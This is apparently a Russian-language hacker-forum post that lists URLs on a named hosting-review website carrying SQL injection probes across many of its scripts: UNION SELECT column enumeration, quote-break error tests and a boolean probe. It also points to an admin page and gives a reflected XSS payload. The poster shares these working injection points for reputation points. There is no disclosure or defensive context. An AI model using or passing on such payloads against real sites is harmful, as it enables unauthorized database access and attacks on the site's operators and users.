Вот опять вам на обзор :
http://www.hostobzor.ru/db/news.php?id=666
http://www.hostobzor.ru/db/resell.php?pid=-1+UNION+SELECT+CHAR(48,49,50,51,52,53,54,55,56,57, 58,59,60),2,999/*
http://www.hostobzor.ru/db/list_news_prov.php?pid=12%27
http://www.hostobzor.ru/db/domen.php?pid=-372+UNION+SELECT+1,2,3/*
http://www.hostobzor.ru/db/vds.php?pid=-1+union+select+1,2,3/*
http://www.hostobzor.ru/db/vds.php?pid=-1%27
http://www.hostobzor.ru/db/hosting.php?pid=-1%27
http://www.hostobzor.ru/list_sites/index.php?offset=120%27&poffset=3
http://www.hostobzor.ru/db/resell.php?pid=266%27
http://www.hostobzor.ru/db/hosting_d.php?stat=1&pid=153&id=611%27
http://www.hostobzor.ru/db/hosting_d.php?stat=1&pid=153%27&id=611
http://www.hostobzor.ru/list_sites/index.php?offset=120%27&poffset=3
http://www.hostobzor.ru/db/hosting_d.php?stat=1&pid=153&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23/*
http://www.hostobzor.ru/db/domen.php?pid=-1%27
http://www.hostobzor.ru/db/adm_op.php
http://www.hostobzor.ru/db/hosting.php?pid=392+and(1=3)+UNION+SELECT+1,2,3/*
Вот опять та же xss-ка
http://hostobzor.ru/db/list_col.php?dc=%3Cscript%3Ealert(666)%3C/script%3E

Если не жалко дайте +